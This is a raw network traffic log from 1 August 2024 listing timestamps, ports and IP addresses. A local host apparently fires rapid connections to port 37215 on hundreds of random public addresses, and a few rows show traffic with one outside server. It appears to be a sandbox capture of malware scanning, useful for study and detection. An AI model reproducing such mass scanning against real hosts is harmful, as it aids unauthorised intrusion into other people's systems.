Aug 1, 2024 15:35:02.560086966 CEST	37215	50330	41.91.246.102	192.168.2.14
Aug 1, 2024 15:35:02.560097933 CEST	37215	32784	157.3.170.120	192.168.2.14
Aug 1, 2024 15:35:02.560108900 CEST	37215	32808	143.120.75.69	192.168.2.14
Aug 1, 2024 15:35:02.560127020 CEST	37215	32874	157.162.88.71	192.168.2.14
Aug 1, 2024 15:35:02.560137987 CEST	37215	57532	13.3.63.219	192.168.2.14
Aug 1, 2024 15:35:02.560148954 CEST	37215	41270	157.151.216.13	192.168.2.14
Aug 1, 2024 15:35:02.560712099 CEST	37215	55160	157.18.186.165	192.168.2.14
Aug 1, 2024 15:35:02.560724974 CEST	37215	57740	157.139.110.194	192.168.2.14
Aug 1, 2024 15:35:02.560736895 CEST	37215	43782	197.188.71.86	192.168.2.14
Aug 1, 2024 15:35:02.560774088 CEST	37215	37048	80.98.120.6	192.168.2.14
Aug 1, 2024 15:35:02.560889959 CEST	37215	35726	41.216.77.130	192.168.2.14
Aug 1, 2024 15:35:02.562302113 CEST	37215	37152	102.18.172.64	192.168.2.14
Aug 1, 2024 15:35:02.562577009 CEST	37215	50394	197.166.2.98	192.168.2.14
Aug 1, 2024 15:35:02.562587976 CEST	37215	59098	197.58.41.197	192.168.2.14
Aug 1, 2024 15:35:02.562597990 CEST	37215	55728	41.245.108.58	192.168.2.14
Aug 1, 2024 15:35:02.562612057 CEST	37215	40764	197.78.47.137	192.168.2.14
Aug 1, 2024 15:35:02.574470043 CEST	37215	42790	157.189.50.111	192.168.2.14
Aug 1, 2024 15:35:02.574666977 CEST	37215	49568	197.71.188.245	192.168.2.14
Aug 1, 2024 15:35:02.608051062 CEST	37215	34028	125.161.255.108	192.168.2.14
Aug 1, 2024 15:35:02.608268976 CEST	34028	37215	192.168.2.14	125.161.255.108
Aug 1, 2024 15:35:02.678576946 CEST	37215	37984	41.175.200.51	192.168.2.14
Aug 1, 2024 15:35:02.678855896 CEST	37984	37215	192.168.2.14	41.175.200.51
Aug 1, 2024 15:35:02.683228016 CEST	56999	37036	103.238.235.163	192.168.2.14
Aug 1, 2024 15:35:02.683486938 CEST	37036	56999	192.168.2.14	103.238.235.163
Aug 1, 2024 15:35:02.689690113 CEST	56999	37036	103.238.235.163	192.168.2.14
Aug 1, 2024 15:35:03.532542944 CEST	47767	37215	192.168.2.14	222.229.210.86
Aug 1, 2024 15:35:03.532599926 CEST	47767	37215	192.168.2.14	37.65.110.217
Aug 1, 2024 15:35:03.532602072 CEST	47767	37215	192.168.2.14	41.37.70.213
Aug 1, 2024 15:35:03.532603025 CEST	47767	37215	192.168.2.14	157.36.218.204
Aug 1, 2024 15:35:03.532628059 CEST	47767	37215	192.168.2.14	69.172.16.4
Aug 1, 2024 15:35:03.532629013 CEST	47767	37215	192.168.2.14	41.148.252.199
Aug 1, 2024 15:35:03.532632113 CEST	47767	37215	192.168.2.14	31.28.24.214
Aug 1, 2024 15:35:03.532634020 CEST	47767	37215	192.168.2.14	146.228.195.65
Aug 1, 2024 15:35:03.532639980 CEST	47767	37215	192.168.2.14	157.46.113.86
Aug 1, 2024 15:35:03.532653093 CEST	47767	37215	192.168.2.14	41.188.29.162
Aug 1, 2024 15:35:03.532655001 CEST	47767	37215	192.168.2.14	157.136.251.140
Aug 1, 2024 15:35:03.532655954 CEST	47767	37215	192.168.2.14	41.234.174.35
Aug 1, 2024 15:35:03.532655954 CEST	47767	37215	192.168.2.14	197.37.212.181
Aug 1, 2024 15:35:03.532670975 CEST	47767	37215	192.168.2.14	218.111.52.52
Aug 1, 2024 15:35:03.532671928 CEST	47767	37215	192.168.2.14	71.55.134.200
Aug 1, 2024 15:35:03.532671928 CEST	47767	37215	192.168.2.14	197.47.216.54
Aug 1, 2024 15:35:03.532671928 CEST	47767	37215	192.168.2.14	52.147.50.110
Aug 1, 2024 15:35:03.532680988 CEST	47767	37215	192.168.2.14	156.49.30.8
Aug 1, 2024 15:35:03.532687902 CEST	47767	37215	192.168.2.14	197.13.43.240
Aug 1, 2024 15:35:03.532689095 CEST	47767	37215	192.168.2.14	197.226.64.65
Aug 1, 2024 15:35:03.532695055 CEST	47767	37215	192.168.2.14	41.5.246.163
Aug 1, 2024 15:35:03.532702923 CEST	47767	37215	192.168.2.14	119.229.85.175
Aug 1, 2024 15:35:03.532718897 CEST	47767	37215	192.168.2.14	197.61.79.229
Aug 1, 2024 15:35:03.532741070 CEST	47767	37215	192.168.2.14	36.149.65.88
Aug 1, 2024 15:35:03.532749891 CEST	47767	37215	192.168.2.14	41.3.241.204
Aug 1, 2024 15:35:03.532769918 CEST	47767	37215	192.168.2.14	165.23.40.149
Aug 1, 2024 15:35:03.532793045 CEST	47767	37215	192.168.2.14	157.128.189.238
Aug 1, 2024 15:35:03.532812119 CEST	47767	37215	192.168.2.14	157.195.222.173
Aug 1, 2024 15:35:03.532818079 CEST	47767	37215	192.168.2.14	157.7.210.65
Aug 1, 2024 15:35:03.532843113 CEST	47767	37215	192.168.2.14	191.96.26.120
Aug 1, 2024 15:35:03.532849073 CEST	47767	37215	192.168.2.14	197.210.14.218
Aug 1, 2024 15:35:03.532866955 CEST	47767	37215	192.168.2.14	157.109.153.252
Aug 1, 2024 15:35:03.532879114 CEST	47767	37215	192.168.2.14	197.230.24.247
Aug 1, 2024 15:35:03.532888889 CEST	47767	37215	192.168.2.14	157.253.214.61
Aug 1, 2024 15:35:03.532907009 CEST	47767	37215	192.168.2.14	34.244.242.21
Aug 1, 2024 15:35:03.532919884 CEST	47767	37215	192.168.2.14	41.4.204.193
Aug 1, 2024 15:35:03.532927990 CEST	47767	37215	192.168.2.14	51.85.105.37
Aug 1, 2024 15:35:03.532946110 CEST	47767	37215	192.168.2.14	139.128.83.1
Aug 1, 2024 15:35:03.532957077 CEST	47767	37215	192.168.2.14	197.8.151.149
Aug 1, 2024 15:35:03.532964945 CEST	47767	37215	192.168.2.14	157.114.117.209
Aug 1, 2024 15:35:03.532983065 CEST	47767	37215	192.168.2.14	157.40.235.145
Aug 1, 2024 15:35:03.532989979 CEST	47767	37215	192.168.2.14	157.230.179.159
Aug 1, 2024 15:35:03.533013105 CEST	47767	37215	192.168.2.14	41.111.212.189
Aug 1, 2024 15:35:03.533030987 CEST	47767	37215	192.168.2.14	204.57.58.168
Aug 1, 2024 15:35:03.533041954 CEST	47767	37215	192.168.2.14	157.222.131.178
Aug 1, 2024 15:35:03.533047915 CEST	47767	37215	192.168.2.14	157.128.140.159
Aug 1, 2024 15:35:03.533066034 CEST	47767	37215	192.168.2.14	157.67.35.151
Aug 1, 2024 15:35:03.533077955 CEST	47767	37215	192.168.2.14	41.131.136.46
Aug 1, 2024 15:35:03.533091068 CEST	47767	37215	192.168.2.14	157.70.94.107
Aug 1, 2024 15:35:03.533104897 CEST	47767	37215	192.168.2.14	116.129.63.253
Aug 1, 2024 15:35:03.533116102 CEST	47767	37215	192.168.2.14	197.93.204.236
Aug 1, 2024 15:35:03.533128977 CEST	47767	37215	192.168.2.14	157.150.127.225
Aug 1, 2024 15:35:03.533142090 CEST	47767	37215	192.168.2.14	197.140.6.131
Aug 1, 2024 15:35:03.533150911 CEST	47767	37215	192.168.2.14	41.93.56.29
Aug 1, 2024 15:35:03.533164978 CEST	47767	37215	192.168.2.14	197.93.155.59
Aug 1, 2024 15:35:03.533185005 CEST	47767	37215	192.168.2.14	144.187.203.7
Aug 1, 2024 15:35:03.533194065 CEST	47767	37215	192.168.2.14	41.68.194.129
Aug 1, 2024 15:35:03.533207893 CEST	47767	37215	192.168.2.14	157.94.120.217
Aug 1, 2024 15:35:03.533216953 CEST	47767	37215	192.168.2.14	206.18.105.211
Aug 1, 2024 15:35:03.533231974 CEST	47767	37215	192.168.2.14	41.239.216.191
Aug 1, 2024 15:35:03.533243895 CEST	47767	37215	192.168.2.14	41.248.171.162
Aug 1, 2024 15:35:03.533263922 CEST	47767	37215	192.168.2.14	197.209.209.54
Aug 1, 2024 15:35:03.533278942 CEST	47767	37215	192.168.2.14	41.235.57.84
Aug 1, 2024 15:35:03.533286095 CEST	47767	37215	192.168.2.14	41.161.31.8
Aug 1, 2024 15:35:03.533296108 CEST	47767	37215	192.168.2.14	157.88.221.246
Aug 1, 2024 15:35:03.533301115 CEST	47767	37215	192.168.2.14	41.199.95.211
Aug 1, 2024 15:35:03.533318996 CEST	47767	37215	192.168.2.14	197.26.150.12
Aug 1, 2024 15:35:03.533328056 CEST	47767	37215	192.168.2.14	157.84.78.232
Aug 1, 2024 15:35:03.533339024 CEST	47767	37215	192.168.2.14	197.115.151.122
Aug 1, 2024 15:35:03.533349037 CEST	47767	37215	192.168.2.14	80.201.129.19
Aug 1, 2024 15:35:03.533361912 CEST	47767	37215	192.168.2.14	197.212.5.92
Aug 1, 2024 15:35:03.533396006 CEST	47767	37215	192.168.2.14	197.235.124.244
Aug 1, 2024 15:35:03.533399105 CEST	47767	37215	192.168.2.14	197.17.30.222
Aug 1, 2024 15:35:03.533404112 CEST	47767	37215	192.168.2.14	41.183.24.109
Aug 1, 2024 15:35:03.533409119 CEST	47767	37215	192.168.2.14	41.28.35.40
Aug 1, 2024 15:35:03.533415079 CEST	47767	37215	192.168.2.14	41.163.193.213
Aug 1, 2024 15:35:03.533441067 CEST	47767	37215	192.168.2.14	90.107.228.59
Aug 1, 2024 15:35:03.533447981 CEST	47767	37215	192.168.2.14	41.82.131.194
Aug 1, 2024 15:35:03.533449888 CEST	47767	37215	192.168.2.14	74.96.4.80
Aug 1, 2024 15:35:03.533459902 CEST	47767	37215	192.168.2.14	41.206.119.232
Aug 1, 2024 15:35:03.533473015 CEST	47767	37215	192.168.2.14	41.225.195.225
Aug 1, 2024 15:35:03.533487082 CEST	47767	37215	192.168.2.14	157.86.182.203
Aug 1, 2024 15:35:03.533498049 CEST	47767	37215	192.168.2.14	18.186.212.139
Aug 1, 2024 15:35:03.533509970 CEST	47767	37215	192.168.2.14	157.100.93.96
Aug 1, 2024 15:35:03.533523083 CEST	47767	37215	192.168.2.14	157.151.50.133
Aug 1, 2024 15:35:03.533530951 CEST	47767	37215	192.168.2.14	41.97.62.249
Aug 1, 2024 15:35:03.533548117 CEST	47767	37215	192.168.2.14	41.214.220.24
Aug 1, 2024 15:35:03.533559084 CEST	47767	37215	192.168.2.14	197.175.155.221
Aug 1, 2024 15:35:03.533569098 CEST	47767	37215	192.168.2.14	41.248.35.8
Aug 1, 2024 15:35:03.533586979 CEST	47767	37215	192.168.2.14	157.189.171.10
Aug 1, 2024 15:35:03.533601046 CEST	47767	37215	192.168.2.14	96.16.7.143
Aug 1, 2024 15:35:03.533608913 CEST	47767	37215	192.168.2.14	197.139.54.254
Aug 1, 2024 15:35:03.533617973 CEST	47767	37215	192.168.2.14	43.172.165.213
Aug 1, 2024 15:35:03.533632040 CEST	47767	37215	192.168.2.14	157.125.227.224
Aug 1, 2024 15:35:03.533643961 CEST	47767	37215	192.168.2.14	197.19.124.102
Aug 1, 2024 15:35:03.533657074 CEST	47767	37215	192.168.2.14	65.76.92.144
Aug 1, 2024 15:35:03.533680916 CEST	47767	37215	192.168.2.14	197.28.88.85
Aug 1, 2024 15:35:03.533690929 CEST	47767	37215	192.168.2.14	157.229.139.151
Aug 1, 2024 15:35:03.533718109 CEST	47767	37215	192.168.2.14	41.161.109.43
Aug 1, 2024 15:35:03.533726931 CEST	47767	37215	192.168.2.14	156.129.112.128
Aug 1, 2024 15:35:03.533747911 CEST	47767	37215	192.168.2.14	197.70.240.46
Aug 1, 2024 15:35:03.533755064 CEST	47767	37215	192.168.2.14	157.123.6.157
Aug 1, 2024 15:35:03.533771992 CEST	47767	37215	192.168.2.14	157.247.193.130
Aug 1, 2024 15:35:03.533781052 CEST	47767	37215	192.168.2.14	157.190.63.145
Aug 1, 2024 15:35:03.533793926 CEST	47767	37215	192.168.2.14	197.208.242.88
Aug 1, 2024 15:35:03.533817053 CEST	47767	37215	192.168.2.14	157.137.14.198
Aug 1, 2024 15:35:03.533823967 CEST	47767	37215	192.168.2.14	157.76.52.250
Aug 1, 2024 15:35:03.533838987 CEST	47767	37215	192.168.2.14	197.103.172.28
Aug 1, 2024 15:35:03.533845901 CEST	47767	37215	192.168.2.14	197.189.144.154
Aug 1, 2024 15:35:03.533855915 CEST	47767	37215	192.168.2.14	27.46.248.210
Aug 1, 2024 15:35:03.533866882 CEST	47767	37215	192.168.2.14	41.221.170.136
Aug 1, 2024 15:35:03.533874989 CEST	47767	37215	192.168.2.14	157.228.83.255
Aug 1, 2024 15:35:03.533884048 CEST	47767	37215	192.168.2.14	41.196.127.30
Aug 1, 2024 15:35:03.533899069 CEST	47767	37215	192.168.2.14	102.87.73.247
Aug 1, 2024 15:35:03.533905983 CEST	47767	37215	192.168.2.14	41.101.92.246
Aug 1, 2024 15:35:03.533931971 CEST	47767	37215	192.168.2.14	157.152.197.2
Aug 1, 2024 15:35:03.533940077 CEST	47767	37215	192.168.2.14	41.4.240.112
Aug 1, 2024 15:35:03.533951044 CEST	47767	37215	192.168.2.14	157.155.128.239
Aug 1, 2024 15:35:03.533962965 CEST	47767	37215	192.168.2.14	186.36.48.7
Aug 1, 2024 15:35:03.533973932 CEST	47767	37215	192.168.2.14	41.251.95.71
Aug 1, 2024 15:35:03.533984900 CEST	47767	37215	192.168.2.14	197.227.219.149
Aug 1, 2024 15:35:03.534002066 CEST	47767	37215	192.168.2.14	120.42.180.164
Aug 1, 2024 15:35:03.534013987 CEST	47767	37215	192.168.2.14	159.237.82.189
Aug 1, 2024 15:35:03.534028053 CEST	47767	37215	192.168.2.14	41.83.43.176
Aug 1, 2024 15:35:03.534044027 CEST	47767	37215	192.168.2.14	41.250.24.66
Aug 1, 2024 15:35:03.534060001 CEST	47767	37215	192.168.2.14	173.101.5.109
Aug 1, 2024 15:35:03.534065008 CEST	47767	37215	192.168.2.14	197.157.93.8
Aug 1, 2024 15:35:03.534079075 CEST	47767	37215	192.168.2.14	51.75.65.0
Aug 1, 2024 15:35:03.534115076 CEST	47767	37215	192.168.2.14	197.107.87.127
Aug 1, 2024 15:35:03.534127951 CEST	47767	37215	192.168.2.14	86.188.143.16
Aug 1, 2024 15:35:03.534138918 CEST	47767	37215	192.168.2.14	197.19.83.157
Aug 1, 2024 15:35:03.534151077 CEST	47767	37215	192.168.2.14	157.192.67.175
Aug 1, 2024 15:35:03.534163952 CEST	47767	37215	192.168.2.14	141.9.34.73
Aug 1, 2024 15:35:03.534184933 CEST	47767	37215	192.168.2.14	157.147.5.92
Aug 1, 2024 15:35:03.534197092 CEST	47767	37215	192.168.2.14	178.38.125.43
Aug 1, 2024 15:35:03.534210920 CEST	47767	37215	192.168.2.14	157.136.230.145
Aug 1, 2024 15:35:03.534218073 CEST	47767	37215	192.168.2.14	41.180.217.17
Aug 1, 2024 15:35:03.534231901 CEST	47767	37215	192.168.2.14	157.23.253.156
Aug 1, 2024 15:35:03.534245014 CEST	47767	37215	192.168.2.14	41.108.173.198
Aug 1, 2024 15:35:03.534255028 CEST	47767	37215	192.168.2.14	157.137.76.18
Aug 1, 2024 15:35:03.534265041 CEST	47767	37215	192.168.2.14	57.146.105.93
Aug 1, 2024 15:35:03.534279108 CEST	47767	37215	192.168.2.14	157.204.81.142
Aug 1, 2024 15:35:03.534291983 CEST	47767	37215	192.168.2.14	197.91.237.112
Aug 1, 2024 15:35:03.534301996 CEST	47767	37215	192.168.2.14	157.80.249.222
Aug 1, 2024 15:35:03.534327984 CEST	47767	37215	192.168.2.14	157.205.248.76
Aug 1, 2024 15:35:03.534331083 CEST	47767	37215	192.168.2.14	123.3.158.141
Aug 1, 2024 15:35:03.534333944 CEST	47767	37215	192.168.2.14	173.43.180.31
Aug 1, 2024 15:35:03.534336090 CEST	47767	37215	192.168.2.14	88.148.236.245
Aug 1, 2024 15:35:03.534351110 CEST	47767	37215	192.168.2.14	197.91.246.1
Aug 1, 2024 15:35:03.534363031 CEST	47767	37215	192.168.2.14	222.14.85.8
Aug 1, 2024 15:35:03.534379005 CEST	47767	37215	192.168.2.14	5.179.87.246
Aug 1, 2024 15:35:03.534400940 CEST	47767	37215	192.168.2.14	41.41.186.61
Aug 1, 2024 15:35:03.534420967 CEST	47767	37215	192.168.2.14	122.58.140.221
Aug 1, 2024 15:35:03.534432888 CEST	47767	37215	192.168.2.14	40.141.191.69
Aug 1, 2024 15:35:03.534446955 CEST	47767	37215	192.168.2.14	157.225.31.19
Aug 1, 2024 15:35:03.534456968 CEST	47767	37215	192.168.2.14	197.41.229.192
Aug 1, 2024 15:35:03.534466028 CEST	47767	37215	192.168.2.14	197.250.222.23
Aug 1, 2024 15:35:03.534477949 CEST	47767	37215	192.168.2.14	123.235.237.149
Aug 1, 2024 15:35:03.534488916 CEST	47767	37215	192.168.2.14	197.52.104.191
Aug 1, 2024 15:35:03.534498930 CEST	47767	37215	192.168.2.14	157.101.236.112
Aug 1, 2024 15:35:03.534516096 CEST	47767	37215	192.168.2.14	41.3.165.30
Aug 1, 2024 15:35:03.534523010 CEST	47767	37215	192.168.2.14	157.65.212.93
Aug 1, 2024 15:35:03.534538984 CEST	47767	37215	192.168.2.14	36.222.72.202
Aug 1, 2024 15:35:03.534550905 CEST	47767	37215	192.168.2.14	41.11.145.189
Aug 1, 2024 15:35:03.534562111 CEST	47767	37215	192.168.2.14	157.128.150.225
Aug 1, 2024 15:35:03.534575939 CEST	47767	37215	192.168.2.14	157.101.226.59
Aug 1, 2024 15:35:03.534596920 CEST	47767	37215	192.168.2.14	41.87.170.27
Aug 1, 2024 15:35:03.534603119 CEST	47767	37215	192.168.2.14	197.105.252.56
Aug 1, 2024 15:35:03.534611940 CEST	47767	37215	192.168.2.14	41.231.188.191
Aug 1, 2024 15:35:03.534625053 CEST	47767	37215	192.168.2.14	157.48.168.102
Aug 1, 2024 15:35:03.534638882 CEST	47767	37215	192.168.2.14	41.177.24.254
Aug 1, 2024 15:35:03.534651995 CEST	47767	37215	192.168.2.14	41.78.31.32
Aug 1, 2024 15:35:03.534665108 CEST	47767	37215	192.168.2.14	197.167.199.50
Aug 1, 2024 15:35:03.534673929 CEST	47767	37215	192.168.2.14	197.9.16.171
Aug 1, 2024 15:35:03.534682035 CEST	47767	37215	192.168.2.14	157.129.46.142
Aug 1, 2024 15:35:03.534693956 CEST	47767	37215	192.168.2.14	197.181.47.137
Aug 1, 2024 15:35:03.534709930 CEST	47767	37215	192.168.2.14	197.40.210.216
Aug 1, 2024 15:35:03.534719944 CEST	47767	37215	192.168.2.14	41.162.137.144
Aug 1, 2024 15:35:03.534728050 CEST	47767	37215	192.168.2.14	43.13.70.39
Aug 1, 2024 15:35:03.534745932 CEST	47767	37215	192.168.2.14	157.80.21.165
Aug 1, 2024 15:35:03.534758091 CEST	47767	37215	192.168.2.14	197.205.164.189
Aug 1, 2024 15:35:03.534765959 CEST	47767	37215	192.168.2.14	41.106.122.129
Aug 1, 2024 15:35:03.534795046 CEST	47767	37215	192.168.2.14	197.128.59.214
Aug 1, 2024 15:35:03.534796000 CEST	47767	37215	192.168.2.14	101.210.111.234
Aug 1, 2024 15:35:03.534801960 CEST	47767	37215	192.168.2.14	174.84.0.37
Aug 1, 2024 15:35:03.534811974 CEST	47767	37215	192.168.2.14	197.8.159.80
Aug 1, 2024 15:35:03.534822941 CEST	47767	37215	192.168.2.14	197.142.239.121
Aug 1, 2024 15:35:03.534845114 CEST	47767	37215	192.168.2.14	41.222.139.194
Aug 1, 2024 15:35:03.534852982 CEST	47767	37215	192.168.2.14	41.170.163.14
Aug 1, 2024 15:35:03.534861088 CEST	47767	37215	192.168.2.14	41.127.34.89
Aug 1, 2024 15:35:03.534874916 CEST	47767	37215	192.168.2.14	197.217.92.194
Aug 1, 2024 15:35:03.534884930 CEST	47767	37215	192.168.2.14	197.239.178.48
Aug 1, 2024 15:35:03.534900904 CEST	47767	37215	192.168.2.14	157.140.184.194
Aug 1, 2024 15:35:03.534910917 CEST	47767	37215	192.168.2.14	41.252.161.171
Aug 1, 2024 15:35:03.534921885 CEST	47767	37215	192.168.2.14	41.167.64.159
Aug 1, 2024 15:35:03.534931898 CEST	47767	37215	192.168.2.14	71.239.108.103
Aug 1, 2024 15:35:03.534944057 CEST	47767	37215	192.168.2.14	157.252.149.132
Aug 1, 2024 15:35:03.534953117 CEST	47767	37215	192.168.2.14	197.184.233.112
Aug 1, 2024 15:35:03.534966946 CEST	47767	37215	192.168.2.14	157.58.130.203
Aug 1, 2024 15:35:03.534981012 CEST	47767	37215	192.168.2.14	163.239.74.189
Aug 1, 2024 15:35:03.534991026 CEST	47767	37215	192.168.2.14	197.149.207.113
Aug 1, 2024 15:35:03.534998894 CEST	47767	37215	192.168.2.14	41.114.127.82
Aug 1, 2024 15:35:03.535007000 CEST	47767	37215	192.168.2.14	39.186.84.166
Aug 1, 2024 15:35:03.535023928 CEST	47767	37215	192.168.2.14	41.249.213.42
Aug 1, 2024 15:35:03.535036087 CEST	47767	37215	192.168.2.14	41.56.172.211
Aug 1, 2024 15:35:03.535048008 CEST	47767	37215	192.168.2.14	165.48.23.48
Aug 1, 2024 15:35:03.535057068 CEST	47767	37215	192.168.2.14	41.1.190.222
Aug 1, 2024 15:35:03.535067081 CEST	47767	37215	192.168.2.14	197.44.34.9
Aug 1, 2024 15:35:03.535075903 CEST	47767	37215	192.168.2.14	41.138.202.64
Aug 1, 2024 15:35:03.535089970 CEST	47767	37215	192.168.2.14	222.49.15.198
Aug 1, 2024 15:35:03.535101891 CEST	47767	37215	192.168.2.14	197.23.238.201
Aug 1, 2024 15:35:03.535110950 CEST	47767	37215	192.168.2.14	41.0.202.214
Aug 1, 2024 15:35:03.535123110 CEST	47767	37215	192.168.2.14	157.62.181.44
Aug 1, 2024 15:35:03.535132885 CEST	47767	37215	192.168.2.14	157.27.165.222
Aug 1, 2024 15:35:03.535142899 CEST	47767	37215	192.168.2.14	88.98.59.247
Aug 1, 2024 15:35:03.535161018 CEST	47767	37215	192.168.2.14	41.81.177.217
Aug 1, 2024 15:35:03.535172939 CEST	47767	37215	192.168.2.14	176.116.248.255
Aug 1, 2024 15:35:03.535186052 CEST	47767	37215	192.168.2.14	41.198.190.65
Aug 1, 2024 15:35:03.535198927 CEST	47767	37215	192.168.2.14	197.175.214.173
Aug 1, 2024 15:35:03.535209894 CEST	47767	37215	192.168.2.14	197.173.68.167
Aug 1, 2024 15:35:03.535223961 CEST	47767	37215	192.168.2.14	197.34.131.8
Aug 1, 2024 15:35:03.535235882 CEST	47767	37215	192.168.2.14	36.68.24.24
Aug 1, 2024 15:35:03.535253048 CEST	47767	37215	192.168.2.14	41.78.21.228
Aug 1, 2024 15:35:03.535253048 CEST	47767	37215	192.168.2.14	197.129.222.7
Aug 1, 2024 15:35:03.535265923 CEST	47767	37215	192.168.2.14	157.238.62.26
Aug 1, 2024 15:35:03.535275936 CEST	47767	37215	192.168.2.14	197.228.82.100
Aug 1, 2024 15:35:03.535288095 CEST	47767	37215	192.168.2.14	197.66.52.110
Aug 1, 2024 15:35:03.535301924 CEST	47767	37215	192.168.2.14	157.133.5.109
Aug 1, 2024 15:35:03.535309076 CEST	47767	37215	192.168.2.14	197.71.47.0
Aug 1, 2024 15:35:03.535320997 CEST	47767	37215	192.168.2.14	41.104.31.30
Aug 1, 2024 15:35:03.535339117 CEST	47767	37215	192.168.2.14	197.77.1.223
Aug 1, 2024 15:35:03.535350084 CEST	47767	37215	192.168.2.14	197.85.228.88
Aug 1, 2024 15:35:03.535362005 CEST	47767	37215	192.168.2.14	41.117.122.113
Aug 1, 2024 15:35:03.535382986 CEST	47767	37215	192.168.2.14	41.231.186.168
Aug 1, 2024 15:35:03.535387039 CEST	47767	37215	192.168.2.14	157.99.75.160
Aug 1, 2024 15:35:03.535398006 CEST	47767	37215	192.168.2.14	197.98.75.37
Aug 1, 2024 15:35:03.535408974 CEST	47767	37215	192.168.2.14	41.69.152.175
Aug 1, 2024 15:35:03.535428047 CEST	47767	37215	192.168.2.14	41.54.197.162
Aug 1, 2024 15:35:03.535439014 CEST	47767	37215	192.168.2.14	197.237.242.236
Aug 1, 2024 15:35:03.535453081 CEST	47767	37215	192.168.2.14	212.232.186.243
Aug 1, 2024 15:35:03.535459995 CEST	47767	37215	192.168.2.14	197.226.216.54
Aug 1, 2024 15:35:03.535471916 CEST	47767	37215	192.168.2.14	157.14.245.128
Aug 1, 2024 15:35:03.535500050 CEST	47767	37215	192.168.2.14	170.3.60.15
Aug 1, 2024 15:35:03.535511017 CEST	47767	37215	192.168.2.14	41.76.159.207
Aug 1, 2024 15:35:03.535515070 CEST	47767	37215	192.168.2.14	157.164.127.176
Aug 1, 2024 15:35:03.535530090 CEST	47767	37215	192.168.2.14	157.118.162.100
Aug 1, 2024 15:35:03.535540104 CEST	47767	37215	192.168.2.14	197.234.224.127
Aug 1, 2024 15:35:03.535557032 CEST	47767	37215	192.168.2.14	197.49.154.237
Aug 1, 2024 15:35:03.535568953 CEST	47767	37215	192.168.2.14	157.204.25.194
Aug 1, 2024 15:35:03.535583019 CEST	47767	37215	192.168.2.14	41.166.56.107
Aug 1, 2024 15:35:03.535594940 CEST	47767	37215	192.168.2.14	41.79.80.86
Aug 1, 2024 15:35:03.535600901 CEST	47767	37215	192.168.2.14	41.182.244.223
Aug 1, 2024 15:35:03.535624027 CEST	47767	37215	192.168.2.14	92.208.91.141
Aug 1, 2024 15:35:03.535629034 CEST	47767	37215	192.168.2.14	157.59.195.169
Aug 1, 2024 15:35:03.535640001 CEST	47767	37215	192.168.2.14	103.16.252.52
Aug 1, 2024 15:35:03.535654068 CEST	47767	37215	192.168.2.14	197.3.69.67
Aug 1, 2024 15:35:03.537405014 CEST	37215	47767	222.229.210.86	192.168.2.14
Aug 1, 2024 15:35:03.537410975 CEST	37215	47767	41.37.70.213	192.168.2.14
Aug 1, 2024 15:35:03.537415028 CEST	37215	47767	37.65.110.217	192.168.2.14
Aug 1, 2024 15:35:03.537594080 CEST	37215	47767	157.36.218.204	192.168.2.14
Aug 1, 2024 15:35:03.537599087 CEST	37215	47767	69.172.16.4	192.168.2.14
Aug 1, 2024 15:35:03.537602901 CEST	37215	47767	41.148.252.199	192.168.2.14
Aug 1, 2024 15:35:03.537664890 CEST	37215	47767	146.228.195.65	192.168.2.14
Aug 1, 2024 15:35:03.537678003 CEST	37215	47767	31.28.24.214	192.168.2.14
Aug 1, 2024 15:35:03.537689924 CEST	37215	47767	41.188.29.162	192.168.2.14
Aug 1, 2024 15:35:03.537699938 CEST	37215	47767	157.136.251.140	192.168.2.14
Aug 1, 2024 15:35:03.537712097 CEST	37215	47767	157.46.113.86	192.168.2.14
Aug 1, 2024 15:35:03.537719965 CEST	47767	37215	192.168.2.14	41.188.29.162
Aug 1, 2024 15:35:03.537724018 CEST	37215	47767	41.234.174.35	192.168.2.14
Aug 1, 2024 15:35:03.537724972 CEST	47767	37215	192.168.2.14	37.65.110.217
Aug 1, 2024 15:35:03.537724972 CEST	47767	37215	192.168.2.14	41.37.70.213
Aug 1, 2024 15:35:03.537724972 CEST	47767	37215	192.168.2.14	157.36.218.204
Aug 1, 2024 15:35:03.537724972 CEST	47767	37215	192.168.2.14	222.229.210.86
Aug 1, 2024 15:35:03.537724972 CEST	47767	37215	192.168.2.14	146.228.195.65
Aug 1, 2024 15:35:03.537735939 CEST	47767	37215	192.168.2.14	69.172.16.4
Aug 1, 2024 15:35:03.537736893 CEST	47767	37215	192.168.2.14	31.28.24.214
Aug 1, 2024 15:35:03.537748098 CEST	47767	37215	192.168.2.14	41.148.252.199
Aug 1, 2024 15:35:03.537753105 CEST	47767	37215	192.168.2.14	157.136.251.140
Aug 1, 2024 15:35:03.537760019 CEST	47767	37215	192.168.2.14	41.234.174.35
Aug 1, 2024 15:35:03.537760973 CEST	47767	37215	192.168.2.14	157.46.113.86
Aug 1, 2024 15:35:03.537763119 CEST	37215	47767	197.37.212.181	192.168.2.14
Aug 1, 2024 15:35:03.537775040 CEST	37215	47767	71.55.134.200	192.168.2.14
Aug 1, 2024 15:35:03.537786007 CEST	37215	47767	197.47.216.54	192.168.2.14
Aug 1, 2024 15:35:03.537797928 CEST	47767	37215	192.168.2.14	197.37.212.181
Aug 1, 2024 15:35:03.537802935 CEST	47767	37215	192.168.2.14	71.55.134.200
Aug 1, 2024 15:35:03.537817001 CEST	47767	37215	192.168.2.14	197.47.216.54
Aug 1, 2024 15:35:03.537861109 CEST	37215	47767	218.111.52.52	192.168.2.14
Aug 1, 2024 15:35:03.537870884 CEST	37215	47767	52.147.50.110	192.168.2.14
Aug 1, 2024 15:35:03.537880898 CEST	37215	47767	156.49.30.8	192.168.2.14
Aug 1, 2024 15:35:03.537892103 CEST	37215	47767	197.13.43.240	192.168.2.14
Aug 1, 2024 15:35:03.537898064 CEST	47767	37215	192.168.2.14	218.111.52.52
Aug 1, 2024 15:35:03.537902117 CEST	37215	47767	197.226.64.65	192.168.2.14
Aug 1, 2024 15:35:03.537904978 CEST	47767	37215	192.168.2.14	52.147.50.110
Aug 1, 2024 15:35:03.537913084 CEST	37215	47767	41.5.246.163	192.168.2.14
Aug 1, 2024 15:35:03.537913084 CEST	47767	37215	192.168.2.14	156.49.30.8
Aug 1, 2024 15:35:03.537921906 CEST	47767	37215	192.168.2.14	197.13.43.240
Aug 1, 2024 15:35:03.537928104 CEST	47767	37215	192.168.2.14	197.226.64.65
Aug 1, 2024 15:35:03.537931919 CEST	37215	47767	119.229.85.175	192.168.2.14
Aug 1, 2024 15:35:03.537970066 CEST	47767	37215	192.168.2.14	119.229.85.175
Aug 1, 2024 15:35:03.538072109 CEST	47767	37215	192.168.2.14	41.5.246.163
Aug 1, 2024 15:35:03.538364887 CEST	37215	47767	197.61.79.229	192.168.2.14
